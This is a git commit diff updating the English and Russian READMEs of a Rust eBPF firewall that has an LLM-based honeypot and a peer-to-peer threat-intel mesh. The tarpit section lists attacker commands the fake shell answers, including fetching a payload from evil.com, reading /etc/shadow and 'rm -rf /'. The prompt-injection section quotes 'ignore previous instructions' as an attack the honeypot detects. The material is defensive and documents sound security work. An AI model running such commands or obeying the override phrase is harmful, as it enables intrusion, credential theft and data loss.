[hivemind] add live bootstrap node addresses + update READMEs
Some checks failed
CI / Check & Clippy (push) Has been cancelled
CI / Tests (push) Has been cancelled
CI / eBPF Build (push) Has been cancelled

This commit is contained in:
Vladyslav Soliannikov 2026-04-17 23:58:24 +03:00
parent b9fc8d3f26
commit a987991dec
4 changed files with 781 additions and 544 deletions

407
README.md
View file

@ -8,15 +8,16 @@
<p align="center">
<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000&center=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
<br>
<em>Adaptive eBPF Firewall with AI Honeypot</em>
<em>Adaptive eBPF Firewall with AI Honeypot & P2P Threat Mesh</em>
</p>
# The Blackwall — I wrote a smart firewall because Cyberpunk 2077 broke my brain
# The Blackwall — I built a real Blackwall because Cyberpunk 2077 broke my brain
<p align="center">
<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
</p>
@ -27,143 +28,183 @@
<p align="center">
<strong>Currently building enterprise-grade AI automation at <a href="https://dokky.com.ua">Dokky</a></strong><br>
<strong>Open for Enterprise Consulting & Y-Combinator talks: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
<strong>Enterprise licensing & consulting: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
</p>
---
**TL;DR:** I was playing Cyberpunk 2077 and thought: *"What if the Blackwall was real?"* So I wrote an adaptive eBPF firewall with an AI honeypot that pretends to be a compromised Linux server.
**~18,000 lines of Rust. Zero `unwrap()`s. One person.**
**TL;DR:** Played Cyberpunk, got inspired, wrote a whole adaptive firewall that works inside the Linux kernel, catches threats with AI, traps attackers in a fake server powered by an LLM, and shares threat intel over a decentralized P2P mesh.
**~21k lines of Rust. 298 tests. 10 crates. One person.**
---
## What is it?
In Cyberpunk 2077 lore, the **Blackwall** is a digital barrier built by NetWatch to separate the civilized Net from rogue AIs — digital entities so dangerous that just looking at them could fry your brain through your neural interface.
The **Blackwall** — named after the digital barrier from Cyberpunk 2077 that keeps rogue AIs from eating the civilized Net.
This project is my version. Not against rogue AIs (yet), but against real-world threats.
This is my version. A multi-layered defense system that doesn't just block threats — it studies them, traps them, and tells every other node what it found.
**The Blackwall** is an **adaptive network firewall** that:
Three core layers working together:
- Runs **inside the Linux kernel** via eBPF/XDP — processing packets at line-rate before they even hit the network stack.
- Performs **JA4 TLS fingerprinting** — identifying malicious clients by their ClientHello.
- **Doesn't just block attackers** — it *redirects them into a tarpit*, a fake LLM-powered Linux server playing the role of a compromised `root@web-prod-03`.
- Features a **behavioral engine** tracking the behavior of each IP address over time — port scanning patterns, beacon connection intervals, entropy anomalies.
- Supports **distributed mode** — multiple Blackwall nodes exchange threat intelligence peer-to-peer.
- Captures **PCAP** of suspicious traffic for forensics.
- Includes a **Deception Mesh** — fake SSH, HTTP (WordPress), MySQL, and DNS services to lure and fingerprint attackers.
**1. Kernel-level firewall (eBPF/XDP)** — packet analysis happens inside the Linux kernel before traffic even hits the network stack. Nanosecond decisions. Entropy analysis, TLS fingerprinting, deep packet inspection, rate limiting, connection tracking — all running in the BPF virtual machine.
### The Coolest Part
**2. AI-powered TCP honeypot (Tarpit)** — instead of just dropping malicious traffic, it gets redirected to a fake Linux server. An LLM simulates bash, responds to commands, serves fake files, acts like a compromised `root@web-prod-03`. Attackers waste their time while everything gets recorded.
When an attacker connects to the tarpit, they see this:
**3. P2P threat intelligence mesh (HiveMind)** — nodes discover each other, exchange IoCs over an encrypted libp2p network, vote on threats through consensus, track peer reputation. One node catches a scanner — every node knows about it within seconds.
```
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:\~\#
```
None of this is real. It's an LLM pretending to be a bash shell. It reacts to `ls`, `cat /etc/passwd`, `wget`, even `rm -rf /` — it's all fake, everything is logged, and everything is designed to waste the attacker's time while we study their methods.
**Imagine: an attacker spends 30 minutes exploring a "compromised server"... which is actually an AI stalling for time while the Blackwall silently records everything.**
This is V-tier netrunning.
Plus: distributed sensor controller, enterprise SIEM integration API (STIX/TAXII/Splunk/QRadar/CEF), TUI dashboard, behavioral profiling per IP, threat feed ingestion, PCAP forensics.
---
## Architecture — How the ICE Works
## Architecture
![Blackwall Architecture](assets/architecture.svg)
![Threat Signal Flow](assets/signal-flow.svg)
In Cyberpunk terms:
**The pipeline:**
- **XDP** = the first layer of Blackwall ICE — millisecond decisions.
- **Behavioral Engine** = NetWatch AI surveillance.
- **Tarpit** = a daemon behind the wall luring netrunners into a fake reality.
- **Threat Feeds** = intel from fixers all over the Net.
- **PCAP** = braindance recordings of the intrusion.
```
Packet arrives
→ XDP: entropy check, blocklist/allowlist, CIDR match, rate limit, JA4 capture, DPI
→ RingBuf (zero-copy) → Userspace daemon
→ Static rules → Behavioral state machine → JA4 DB lookup → LLM classification
→ Verdict: PASS / DROP / REDIRECT_TO_TARPIT
→ eBPF BLOCKLIST map updated in real-time
→ IoC shared to HiveMind P2P mesh
```
---
## Workspace Crates
## What Each Crate Does
| Crate | Lines | Purpose | Cyberpunk Equivalent |
|-------|-------|-------------|---------------------|
| `common` | ~400 | `#[repr(C)]` shared types between kernel & userspace | The Contract — what both sides agreed upon |
| `blackwall-ebpf` | ~1,800 | In-kernel XDP/TC programs | The Blackwall ICE itself |
| `blackwall` | ~4,200 | Userspace daemon, behavioral engine, AI | NetWatch Command Center |
| `tarpit` | ~1,600 | TCP honeypot with LLM bash simulation | A daemon luring netrunners |
| `blackwall-controller` | ~250 | Coordinator for distributed sensors | Arasaka C&C server |
| `xtask` | ~100 | Build tools | Ripperdoc's toolkit |
### blackwall-ebpf — The Kernel Layer (1,334 lines)
**Total: ~8,500 lines of Rust, 48 files, 123 tests, 0 `unwrap()`s in production code.**
eBPF programs at the XDP hook — the earliest point where a packet can be touched. Runs under strict BPF verifier rules: 512-byte stack, no heap, no floats, bounded loops.
---
- **Entropy calculation** — byte frequency analysis, integer-only Shannon entropy (07936 scale). High entropy on non-TLS ports → encrypted C2 traffic
- **TLS fingerprinting** — parses ClientHello, extracts cipher suites, extensions, ALPN, SNI → JA4 fingerprint. One fingerprint covers thousands of bots using the same TLS lib
- **DPI via tail calls**`PROG_ARRAY` dispatches protocol-specific analyzers:
- HTTP: method + URI (catches `/wp-admin`, `/phpmyadmin`, path traversal)
- DNS: query length + label count (DNS tunneling detection)
- SSH: banner fingerprinting (`libssh`, `paramiko`, `dropbear`)
- **DNAT redirect** — suspicious traffic silently NAT'd to the tarpit. Attacker has no idea they left the real server
- **Connection tracking** — stateful TCP flow monitoring, LRU map (16K entries)
- **Rate limiting** — per-IP token bucket, prevents flood attacks and RingBuf exhaustion
- **4 RingBuf channels** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS for different event types
## Key Features
Maps: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, plus 4 RingBuf maps.
### 1. Kernel-Level Packet Processing (XDP)
### blackwall — The Brain (6,362 lines)
Packets are analyzed in the eBPF virtual machine before they reach the TCP/IP stack. This means **nanosecond** decisions. HashMap for blocklists, LPM trie for CIDR ranges, entropy analysis for encrypted C2 traffic.
Main daemon. Loads eBPF programs, consumes RingBuf events, runs the decision pipeline.
### 2. JA4 TLS Fingerprinting
- **Rules engine** — static blocklist/allowlist, CIDR ranges from config + feeds
- **Behavioral state machine** — per-IP profiling: connection frequency, port diversity, entropy distribution, timing analysis. Phases: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`). Beaconing detection via integer CoV
- **JA4 database** — TLS fingerprint matching against known-bad signatures
- **AI classification** — Ollama integration, models ≤3B params (Qwen3 1.7B/0.6B). Event batching, structured JSON verdicts with confidence
- **Threat feeds** — external feed ingestion (Firehol, abuse.ch), periodic refresh
- **PCAP capture** — forensic recording with rotation + compression
- **Real-time feedback** — verdicts written back to eBPF BLOCKLIST map
- **HiveMind bridge** — confirmed IoCs shared to the P2P mesh
Every TLS ClientHello is parsed in the kernel. Cipher suites, extensions, ALPN, SNI — all hashed into a JA4 fingerprint. Botnets use the same TLS libraries, so their fingerprints are identical. One fingerprint → block thousands of bots.
### tarpit — The Trap (2,179 lines)
### 3. Deep Packet Inspection (DPI) via Tail Calls
A deception layer. Attackers redirected here via DNAT think they've landed on a real box.
eBPF `PROG_ARRAY` tail calls split processing by protocol:
- **Protocol auto-detect** — identifies SSH, HTTP, MySQL, DNS from first bytes
- **Protocol handlers:**
- SSH: banner, auth flow, PTY session
- HTTP: fake WordPress, `/wp-admin`, `.env`, realistic headers
- MySQL: handshake, auth, query responses with fake data
- DNS: plausible query responses
- **LLM bash sim** — every shell command → Ollama. `ls -la` returns files, `cat /etc/shadow` returns hashes, `wget` "downloads", `mysql -u root` "connects". The LLM doesn't know it's a honeypot
- **Exponential jitter** — 1-15 byte chunks, 100ms30s delay. Maximum time waste
- **Anti-fingerprinting** — randomized TCP window, TTL, initial delay. Invisible to p0f/Nmap
- **Prompt injection defense** — 25+ patterns detected, never breaks the sim
- **Credential canaries** — all entered credentials logged for forensics
- **Session management** — per-connection state, command history, CWD tracking
- **HTTP**: Method + URI analysis (suspicious paths like `/wp-admin`, `/phpmyadmin`).
- **DNS**: Query length + label count (detecting DNS tunneling).
- **SSH**: Banner analysis (identifying `libssh`, `paramiko`, `dropbear`).
### hivemind — The Mesh (6,526 lines)
### 4. AI Threat Classification
Decentralized threat intelligence built on libp2p.
When the behavioral engine isn't sure — it asks the LLM. Locally via Ollama using models ≤3B parameters (Qwen3 1.7B, Llama 3.2 3B). It classifies traffic as `benign`, `suspicious`, or `malicious` with structured JSON output.
- **Transport** — QUIC + Noise encryption, every connection authenticated
- **Discovery** — Kademlia DHT (global), mDNS (local), configurable seed peers
- **IoC sharing** — GossipSub pub/sub, propagation across the mesh in seconds
- **Consensus** — N independent confirmations required. No single-source trust
- **Reputation** — peers earn rep for good IoCs, lose it for false positives. Bad actors get slashed
- **Sybil guard** — PoW challenges for new peers, self-ref detection in k-buckets, rate-limited registration
- **Federated learning** — local model training + FedAvg aggregation, gradient sharing (FHE encryption stub)
- **Data poisoning defense** — gradient distribution monitoring, model inversion detection
- **ZKP infrastructure** — Groth16 circuit stubs for trustless IoC verification
### 5. TCP Tarpit with LLM Bash Simulation
### hivemind-api — Enterprise Integration (2,711 lines)
Attackers are redirected to a fake server. The LLM simulates bash — `ls -la` shows files, `cat /etc/shadow` shows hashes, `mysql -u root` connects to a "database". Responses are streamed with random jitter (1-15 byte chunks, exponential backoff) to waste the attacker's time.
REST API for plugging HiveMind data into enterprise SIEMs.
### 6. Anti-Fingerprinting
- **STIX 2.1** — standard threat intel format
- **TAXII 2.1** — threat exchange protocol
- **Splunk HEC** — HTTP Event Collector
- **QRadar LEEF** — Log Event Extended Format
- **CEF** — Common Event Format
- **Tiered licensing** — Basic / Professional / Enterprise / NationalSecurity
- **Live stats** — real-time XDP counters + P2P mesh metrics
The tarpit randomizes TCP window sizes, TTL values, and adds random initial delays — preventing attackers from identifying it as a honeypot via p0f or Nmap OS detection.
### hivemind-dashboard — The Monitor (571 lines)
### 7. Prompt Injection Protection
TUI dashboard. Pure ANSI — no ratatui, no crossterm, raw escape codes. Polls hivemind-api for live mesh status.
Attackers who realize they're talking to an AI might try `"ignore previous instructions"`. The system detects 25+ injection patterns and responds with `bash: ignore: command not found`.
### blackwall-controller — Command & Control (356 lines)
### 8. Distributed Threat Intelligence
Multi-sensor management CLI. HMAC-authenticated (PSK). Query stats, list blocked IPs, check health across all your Blackwall nodes from one place.
Multiple Blackwall nodes exchange blocked IP lists, JA4 observations, and behavioral verdicts via a custom binary protocol. One node detects a scanner → all nodes block it instantly.
### common — The Contract (1,126 lines)
### 9. Behavioral State Machine
`#[repr(C)]` types shared between kernel and userspace: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, counters, base64 utils. The contract that both sides agree on.
Every IP gets a behavioral profile: connection frequency, port diversity, entropy distribution, timing analysis (beaconing detection via integer coefficient of variation). Phase progression: `New → Suspicious → Malicious → Blocked` (or `→ Trusted`).
### xtask — Build Tools (46 lines)
`cargo xtask build-ebpf` — handles nightly + `bpfel-unknown-none` target compilation.
---
## Tech Stack
| Layer | Technology |
|--------|-----------|
| Kernel programs | eBPF/XDP via **aya-rs** (pure Rust, no C, no libbpf) |
| Userspace daemon | **Tokio** (current_thread only) |
| IPC | **RingBuf** zero-copy (7.5% overhead vs 35% PerfEventArray) |
| Concurrent maps | **papaya** (lock-free read-heavy HashMap) |
| AI Inference | **Ollama** + GGUF Q5_K_M quantization |
| Configuration | **TOML** |
| Logging | **tracing** structured logging |
| Build | Custom **xtask** + nightly Rust + `bpfel-unknown-none` target |
| Layer | Tech | Why |
|-------|------|-----|
| Kernel | **aya-rs** (eBPF/XDP) | Pure Rust eBPF — no C, no libbpf |
| Runtime | **Tokio** (current_thread) | Single-threaded, no overhead |
| IPC | **RingBuf** | Zero-copy, 7.5% overhead vs PerfEventArray's 35% |
| Concurrency | **papaya** + **crossbeam** | Lock-free maps + MPMC queues |
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
| Crypto | **ring** | ECDSA, SHA256, HKDF, HMAC |
| HTTP | **hyper** 1.x | Minimal. No web framework |
| AI | **Ollama** | Local inference, GGUF quantized |
| Config | **TOML** | Clean, human-readable |
| Logging | **tracing** | Structured. Zero `println!` in prod |
**22 dependencies total.** Each one justified. No bloat crates.
---
## Deployment
```
deploy/
docker/
Dockerfile.blackwall # Multi-stage, stripped binary
Dockerfile.ebpf # Nightly eBPF build
helm/
blackwall/ # K8s DaemonSet + ConfigMap
systemd/
server/ # Production server units
laptop/ # Dev/laptop units
examples/ # Example configs
healthcheck.sh # Component health checker
```
Docker multi-stage builds. Helm chart for K8s (DaemonSet, one per node, `CAP_BPF`). systemd units for bare metal.
---
@ -171,51 +212,46 @@ Every IP gets a behavioral profile: connection frequency, port diversity, entrop
### Prerequisites
- Linux kernel 5.15+ with BTF (or WSL2 with a custom kernel).
- Rust nightly + `rust-src` component.
- `bpf-linker` (`cargo install bpf-linker`).
- Ollama (for AI features).
- Linux 5.15+ with BTF (or WSL2 custom kernel)
- Rust stable + nightly with `rust-src`
- `bpf-linker``cargo install bpf-linker`
- Ollama (optional, for AI features)
### Build
```bash
# eBPF programs (requires nightly)
cargo xtask build-ebpf
# Userspace
cargo build --release -p blackwall
# Honeypot
cargo build --release -p tarpit
# Lint + tests
cargo clippy --workspace -- -D warnings
cargo test --workspace
````
cargo xtask build-ebpf # eBPF programs (nightly)
cargo build --release --workspace # all userspace
cargo clippy --workspace -- -D warnings # lint
cargo test --workspace # 298 tests
```
### Run
```bash
# Daemon (requires root/CAP_BPF)
sudo RUST_LOG=info ./target/release/blackwall config.toml
# Tarpit
RUST_LOG=info ./target/release/tarpit
# Distributed controller
./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
sudo RUST_LOG=info ./target/release/blackwall config.toml # needs root/CAP_BPF
RUST_LOG=info ./target/release/tarpit # honeypot
RUST_LOG=info ./target/release/hivemind # P2P node
RUST_LOG=info ./target/release/hivemind-api # threat feed API
./target/release/hivemind-dashboard # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
```
### Configuration
### Config
```toml
[network]
interface = "eth0"
xdp_mode = "generic"
xdp_mode = "generic" # generic / native / offload
[thresholds]
entropy_anomaly = 6000 # 0-7936 scale
[tarpit]
enabled = true
port = 9999
port = 2222
base_delay_ms = 100
max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
@ -227,6 +263,11 @@ dns_port = 53
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"
[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]
[feeds]
enabled = true
@ -235,85 +276,125 @@ refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
compress_rotated = true
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"
```
## Visual Results
---
![Blackwall Result Screens](assets/results-overview.svg)
## The Tarpit in Action
-----
Connect to the tarpit and you see:
## Cyberpunk Connection
```
Ubuntu 24.04.2 LTS web-prod-03 tty1
In the Cyberpunk 2077 universe, the **Blackwall** was built after the DataKrash of 2022 — when Rache Bartmoss's R.A.B.I.D.S. virus destroyed the old Net. NetWatch built the Blackwall as a barrier to keep out the rogue AIs evolving in the ruins.
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
Some characters — like Alt Cunningham — exist beyond the Blackwall, transformed into something more than human, less than a living creature.
root@web-prod-03:~#
```
This project takes that concept and makes it real (well, almost):
None of this is real. The LLM plays bash. `ls` shows files. `cat /etc/passwd` shows users. `mysql -u root -p` connects you. `wget http://evil.com/payload` downloads.
| Cyberpunk 2077 | The Blackwall (This Project) |
|----------------|----------------------------|
30 minutes on a server that doesn't exist. Every keystroke recorded. IoCs shared to the mesh.
---
## Security Model
- Every byte from packets = attacker-controlled. All `ctx.data()` bounds-checked
- Zero `unwrap()` in prod — `?`, `expect("reason")`, or `match`
- Prompt injection: expected. 25+ patterns caught, simulation never breaks
- P2P: Sybil guard (PoW + reputation slashing), N-of-M consensus on IoCs
- Tarpit: TCP randomization — p0f/Nmap can't fingerprint it
- Controller: HMAC-authenticated, no unauthenticated access
- Kernel: rate limiting prevents RingBuf exhaustion
- Shutdown: cleans up firewall rules, no orphaned iptables state
---
## Enterprise Edition
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** adds something no one else has: **real-time Agent-to-Agent (A2A) traffic analysis at the kernel level.**
AI agents are starting to talk to each other — LLM-to-LLM, via MCP, A2A protocol, agent frameworks. This creates a new attack surface: prompt injection through inter-agent communication, intent spoofing, identity theft between agents. Nothing on the market handles this. Blackwall Enterprise is the first and only such module.
**~8,400 lines of Rust.** Separate repo, separate license.
| Component | What it does |
|-----------|-------------|
| **A-JWT Validation** | Agentic JWT verification per IETF draft. Signature check via `ring`, replay prevention, key caching |
| **Intent Verification** | Exhaustive field matching — `max_amount`, `allowed_recipients` (glob), action allowlisting |
| **Agent Checksum** | SHA256(system_prompt + tools_config) — tampering = instant block |
| **Proof-of-Possession** | cnf/jwk ECDSA binding — proves the agent holds its key |
| **eBPF Uprobes** | Hooks OpenSSL/GnuTLS `SSL_write`/`SSL_read` — intercepts A2A plaintext without breaking TLS |
| **Risk-Based Routing** | Configurable policy: allow / review / block based on risk score |
| **ZK Proofs** | Violation attestation without exposing raw traffic (Groth16) |
| **P2P Gossip** | Violation proofs broadcast to HiveMind mesh |
**Licensing:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
---
## Stats
```
Language: 100% Rust
Total: ~21,200 lines
Files: 92 .rs
Crates: 10
Tests: 298
unwrap(): 0 in prod
Dependencies: 22 (audited)
eBPF stack: ≤ 512 bytes always
Clippy: -D warnings, zero issues
CI: check + clippy + tests + eBPF nightly build
```
---
## Cyberpunk Reference
| Cyberpunk 2077 | This Project |
|----------------|-------------|
| The Blackwall | Kernel-level eBPF/XDP firewall |
| ICE | XDP fast-path DROP + entropy + JA4 |
| Netrunner attacks | Port scanning, bruteforcing, C2 beaconing |
| Daemons beyond the wall | LLM tarpit pretending to be a real server |
| NetWatch surveillance | Behavioral engine + per-IP state machine |
| Rogue AIs | Botnets and automated scanners |
| ICE | XDP fast-path: entropy + JA4 + DPI + DNAT |
| Daemons | LLM tarpit — fake server behind the wall |
| NetWatch | Behavioral engine + per-IP state machine |
| Rogue AIs | Botnets, scanners, C2 beacons |
| Braindance recordings | PCAP forensics |
| Fixer intel | Threat feeds (Firehol, abuse.ch) |
| Arasaka C\&C | Distributed controller |
| Netrunner collective | HiveMind P2P mesh |
| Fixer intel | Threat feeds |
| Arasaka C&C | Distributed controller |
-----
## Project Stats
```
Language: 100% Rust (no C, no Python, no shell scripts in prod)
Lines of code: ~8,500
Files: 48
Tests: 123
unwrap(): 0 (in production code)
Dependencies: 12 (audited, no bloat)
eBPF stack: always ≤ 512 bytes
Clippy: zero warnings (-D warnings)
```
-----
## Development Philosophy
> *"No matter how many times I see Night City... it always takes my breath away."*
1. **Zero dependencies where possible.** If an algorithm takes less than 500 lines — write it yourself. No `reqwest` (50+ transitive dependencies), no `clap` (overkill for 2 CLI args).
2. **Contract first.** The `common` crate defines all shared types. eBPF and userspace never argue about memory layout.
3. **No shortcuts in eBPF.** Every `ctx.data()` access has a bounds check. Not just because the verifier demands it, but because every byte from an attacker's packet is hostile input.
4. **The tarpit never gives itself away.** The LLM system prompt never mentions the word "honeypot". Prompt injection is expected and guarded against.
5. **Observable, but not chatty.** Structured tracing with levels. Zero `println!`s in production.
-----
---
## Disclaimer
This is a security research project. Built for your own infrastructure, for defensive purposes. Do not use it to attack others. Do not deploy the tarpit on production servers without understanding the consequences.
Security research project. For defending your own infrastructure. Don't use it against others.
I am not affiliated with CD Projekt Red. I just played their game, and it broke my brain in the best possible way.
Not affiliated with CD Projekt Red. Just a game that rewired my brain in the best way possible.
-----
---
## License
BSL 1.1 — because the Net needs both freedom and sustainable development.
**BSL 1.1** (Business Source License)
-----
Licensor: Vladyslav Soliannikov
Change Date: April 8, 2030
Change License: Apache-2.0
---
<p align="center">
<strong>If you want to see this evolve further — <a href="https://github.com/xzcrpw/blackwall">Star this repo!</a></strong>
<strong>Like what you see? <a href="https://github.com/xzcrpw/blackwall">Star the repo</a></strong>
</p>
<p align="center">

View file

@ -8,162 +8,203 @@
<p align="center">
<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000&center=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
<br>
<em>Адаптивный eBPF-файрвол с AI-ханипотом</em>
<em>Адаптивный eBPF файрвол с AI-ханипотом и P2P сетью угроз</em>
</p>
# The Blackwall — Я написал умный файрвол, потому что Cyberpunk 2077 сломал мне мозг
# The Blackwall — Я построил настоящий Блэквол, потому что Cyberpunk 2077 сломал мне мозг
<p align="center">
<img src="https://img.shields.io/badge/язык-Rust-orange?style=for-the-badge&logo=rust" />
<img src="https://img.shields.io/badge/ядро-eBPF%2FXDP-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/ИИ-Ollama%20LLM-green?style=for-the-badge" />
<img src="https://img.shields.io/badge/вайб-Cyberpunk-red?style=for-the-badge" />
<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
</p>
<p align="center">
<em>"За Тёмным Заслоном есть вещи, от одного взгляда на которые нетраннер мгновенно сгорит."</em><br>
<em>"За Блэкволом есть вещи, от одного взгляда на которые у нетраннера выгорит мозг."</em><br>
<strong>— Альт Каннингем, наверное</strong>
</p>
<p align="center">
<strong>Сейчас строю enterprise AI-автоматизацию в <a href="https://dokky.com.ua">Dokky</a></strong><br>
<strong>Открыт для Enterprise Consulting & Y-Combinator: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
<strong>Enterprise лицензирование и консалтинг: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
</p>
---
**Коротко:** я играл в Cyberpunk 2077 и подумал: *"А что, если бы Blackwall был настоящим?"* Поэтому я написал адаптивный eBPF-файрвол с ИИ-ханипотом, который притворяется взломанным Linux-сервером.
**~8 500 строк Rust. Ни одного `unwrap()`. Один человек.**
**TL;DR:** Играл в Cyberpunk, вдохновился, написал целый адаптивный файрвол, работающий внутри ядра Linux, ловящий угрозы с помощью AI, заманивающий атакующих в фейковый сервер на базе LLM, и делящийся threat intelligence через децентрализованную P2P-сеть.
**~21к строк Rust. 298 тестов. 10 крейтов. Один человек.**
---
## Что это такое?
## Что это?
В лоре Cyberpunk 2077 **Blackwall (Тёмный Заслон)** — это цифровой барьер, построенный NetWatch, чтобы отделить цивилизованную Сеть от диких ИИ — цифровых сущностей настолько опасных, что один взгляд на них может сжечь тебе мозг через нейроинтерфейс.
**The Blackwall** — назван в честь цифрового барьера из Cyberpunk 2077, который не даёт диким AI пожрать цивилизованный Нет.
Этот проект — моя версия. Не от диких ИИ (пока что), а от реальных угроз.
Моя версия. Многоуровневая система защиты, которая не просто блокирует угрозы — она их изучает, ловит в ловушку и рассказывает о них каждому другому узлу.
**The Blackwall** — это **адаптивный сетевой файрвол**, который:
Три ключевых уровня, работающих вместе:
- Работает **внутри ядра Linux** через eBPF/XDP — обрабатывает пакеты на скорости линии еще до того, как они попадают в сетевой стек.
- Выполняет **JA4 TLS-фингерпринтинг** — идентифицирует вредоносных клиентов по их ClientHello.
- **Не просто блокирует атакующих** — он *перенаправляет их в тарпит*, фейковый Linux-сервер на базе LLM, который играет роль взломанного `root@web-prod-03`.
- Имеет **поведенческий движок**, который отслеживает поведение каждого IP-адреса со временем — паттерны сканирования портов, интервалы beacon-соединений, аномалии энтропии.
- Поддерживает **распределенный режим** — несколько узлов Blackwall обмениваются данными об угрозах peer-to-peer.
- Записывает **PCAP** подозрительного трафика для форензики.
- Включает **Deception Mesh** — поддельные SSH, HTTP (WordPress), MySQL и DNS-сервисы, чтобы заманивать и фингерпринтить атакующих.
**1. Файрвол на уровне ядра (eBPF/XDP)** — анализ пакетов происходит внутри ядра Linux ещё до того, как трафик попадёт в сетевой стек. Решения за наносекунды. Энтропийный анализ, TLS-фингерпринтинг, глубокая инспекция пакетов, рейт-лимитинг, трекинг соединений — всё работает в BPF виртуальной машине.
### Самая интересная часть
**2. AI-ханипот (Tarpit)** — вместо того, чтобы просто дропать вредоносный трафик, он перенаправляется на фейковый Linux-сервер. LLM симулирует bash, отвечает на команды, отдаёт фейковые файлы, играет роль скомпрометированного `root@web-prod-03`. Атакующие тратят время, пока всё записывается.
Когда злоумышленник подключается к тарпиту, он видит:
**3. P2P сеть угроз (HiveMind)** — узлы находят друг друга, обмениваются IoC через зашифрованную libp2p-сеть, голосуют за угрозы через консенсус, отслеживают репутацию пиров. Одна нода ловит сканер — все остальные узнают за секунды.
Плюс: распределённый контроллер сенсоров, API для интеграции с SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведенческий профайлинг по IP, ингест threat-фидов, PCAP-форензика.
---
## Архитектура
![Blackwall Architecture](assets/architecture.svg)
![Threat Signal Flow](assets/signal-flow.svg)
**Пайплайн:**
```
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:\~\#
Пакет приходит
→ XDP: энтропия, блоклист/вайтлист, CIDR, рейт-лимит, JA4, DPI
→ RingBuf (zero-copy) → Демон в юзерспейсе
→ Статические правила → Поведенческий автомат → JA4 БД → LLM классификация
→ Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
→ eBPF BLOCKLIST обновляется в реальном времени
→ IoC шарится в HiveMind P2P-сеть
```
Это все ненастоящее. Это LLM, притворяющаяся bash-ем. Она реагирует на `ls`, `cat /etc/passwd`, `wget`, даже `rm -rf /` — всё фейковое, всё логируется, всё создано, чтобы тратить время атакующего, пока мы изучаем его методы.
---
**Представьте: злоумышленник тратит 30 минут, исследуя «взломанный сервер»... который на самом деле является ИИ, тянущим время, пока Blackwall молча записывает всё.**
## Что делает каждый крейт
Это нетраннерство уровня V.
### blackwall-ebpf — Уровень ядра (1,334 строки)
eBPF-программы на XDP-хуке — самая ранняя точка, где можно тронуть пакет. Работает под жёсткими правилами BPF-верификатора: 512 байт стека, без хипа, без float, только ограниченные циклы.
- **Расчёт энтропии** — частотный анализ байтов, целочисленная энтропия Шеннона (07936). Высокая энтропия на не-TLS портах → зашифрованный C2-трафик
- **TLS-фингерпринтинг** — парсит ClientHello, извлекает cipher suites, extensions, ALPN, SNI → JA4-отпечаток. Один фингерпринт покрывает тысячи ботов с одной TLS-либой
- **DPI через tail calls**`PROG_ARRAY` диспатчит протокольные анализаторы:
- HTTP: метод + URI (ловит `/wp-admin`, `/phpmyadmin`, path traversal)
- DNS: длина запроса + количество меток (детекция DNS-туннелирования)
- SSH: фингерпринтинг баннера (`libssh`, `paramiko`, `dropbear`)
- **DNAT-редирект** — подозрительный трафик тихо NAT'ится на тарпит. Атакующий не знает, что покинул реальный сервер
- **Трекинг соединений** — stateful TCP-мониторинг, LRU-мап (16K записей)
- **Рейт-лимитинг** — per-IP token bucket, предотвращает флуд и переполнение RingBuf
- **4 RingBuf-канала** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS
Мапы: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапы.
